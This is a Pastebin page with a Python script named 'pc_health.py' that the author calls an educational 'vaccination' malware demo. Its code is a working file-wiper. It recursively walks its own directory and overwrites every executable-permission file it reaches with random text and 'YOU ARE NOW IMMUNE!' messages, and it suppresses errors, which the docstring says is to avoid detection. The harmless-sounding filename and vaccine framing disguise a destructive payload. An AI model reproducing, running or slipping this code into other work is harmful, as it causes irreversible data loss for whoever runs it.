Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- #!/usr/bin/env python3
- # -*- coding: utf-8 -*-
- # Filename: pc_health.py
- # Version: 1.0.3
- # Author: Jeoi Reqi
- """
- Description:
- - The "Vaccinated" class is a hypothetical malware utility.
- - It's designed for educational purposes to demonstrate how code injection works in files.
- - It explores directories and subdirectories, overwriting the content of files within.
- - Files get "vaccinated" with a randomly generated malicious payload.
- **
- WARNING:
- ! THIS SCRIPT WILL OVERWRITE ALL FILES IN THE CURRENT WORKING DIRECTORY (CWD) AND ITS SUBDIRECTORIES WITH THE MALICIOUS PAYLOAD!
- ! ADDITIONALLY, THE PAYLOAD WILL INJECT INTO THIS SCRIPT, OVERWRITING ITS CONTENTS!
- ! RUNNING THIS SCRIPT WITHOUT PROPER PRECAUTIONS CAN LEAD TO IRREVERSIBLE DATA LOSS, INCLUDING THE SCRIPT ITSELF!
- ! ALWAYS KEEP A BACKUP AND RUN THIS SCRIPT ONLY IN A SAFE ENVIRONMENT WHERE NO IMPORTANT FILES ARE PRESENT!
- ! EXERCISE EXTREME CAUTION!
- **
- This example malware consists of the following components:
- 1. Vaccinated Class:
- - This class serves as the core of the malware.
- - It includes methods for infecting or "vaccinating" files in a directory.
- - The randomly generated payload is combined with a predefined malicious message.
- 2. Attributes:
- - `name`: Represents the name of the vaccination utility.
- 3. Methods:
- - `__init__(self, name)`:
- Initializes a new instance of the Vaccinated class with a provided name.
- - `name.setter`:
- Sets the name of the utility.
- - `immunization`:
- Generates a random immunization message with a randomly generated payload.
- - `vaccinate_files_in_directory(directory)`:
- Vaccinates files in the specified directory and subdirectories.
- Real Results of the Functions:
- - Upon execution, the malware generates an 'immunization' message with a randomly generated payload.
- - It recursively traverses through all files in the specified directory and its subdirectories.
- - For each file found, the malware attempts to inject the payload.
- - If successful, the file is considered "vaccinated," and the count increments.
- - The malware operates silently, ignoring errors to avoid detection.
- - While the primary purpose is educational, showing code injection and its potential consequences, it can cause irreversible damage to files.
- - Exercise extreme caution when using this script.
- """
- import os
- import random
- import string
- from textwrap import dedent, wrap
- class Vaccinated:
- """
- A class representing a vaccination utility for files in a directory.
- Attributes:
- name (str): The name of the vaccination utility.
- """
- def __init__(self, name):
- """
- Initializes a Vaccinated instance.
- Args:
- name (str): The name of the vaccination utility.
- """
- self._name = name
- @property
- def name(self):
- """
- str: The name of the vaccination utility.
- """
- return self._name
- @name.setter
- def name(self, new_name):
- """
- Sets the name of the vaccination utility.
- Args:
- new_name (str): The new name of the vaccination utility.
- """
- self._name = new_name
- @property
- def immunization(self):
- """
- str: Generates a random immunization message.
- Returns:
- A string containing a random immunization message.
- """
- antibody_string = "".join(
- random.choices(string.ascii_letters + string.digits, k=111020)
- )
- wrapped_antibody = "\n".join(wrap(antibody_string, width=70))
- return dedent(
- f"""
- YOU ARE NOW IMMUNE!
- {wrapped_antibody}
- ALL YOUR FILES ARE PROTECTED!
- """
- )
- def vaccinate_files_in_directory(self, directory):
- """
- Vaccinates files in the given directory and its subdirectories.
- Args:
- directory (str): The path to the directory to vaccinate.
- Returns:
- int: The number of files vaccinated.
- """
- num_vaccinated_files = 0
- for root, _, files in os.walk(directory):
- for file_name in files:
- file_path = os.path.join(root, file_name)
- if os.access(file_path, os.X_OK):
- try:
- with open(file_path, "w", encoding="utf-8") as vaccinated_file:
- vaccinated_file.write(self.immunization)
- num_vaccinated_files += 1
- except (IOError, OSError) as e:
- pass # Ignore errors silently
- return num_vaccinated_files
- if __name__ == "__main__":
- # Create an instance of the Vaccinated class
- vaccine_inoculator = Vaccinated("SimpleVaccineInoculator")
- # Get the directory path of the current script
- path = os.path.dirname(os.path.abspath(__file__))
- # Vaccinate files in the directory and its subdirectories
- number_vaccinated_files = vaccine_inoculator.vaccinate_files_in_directory(path)
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement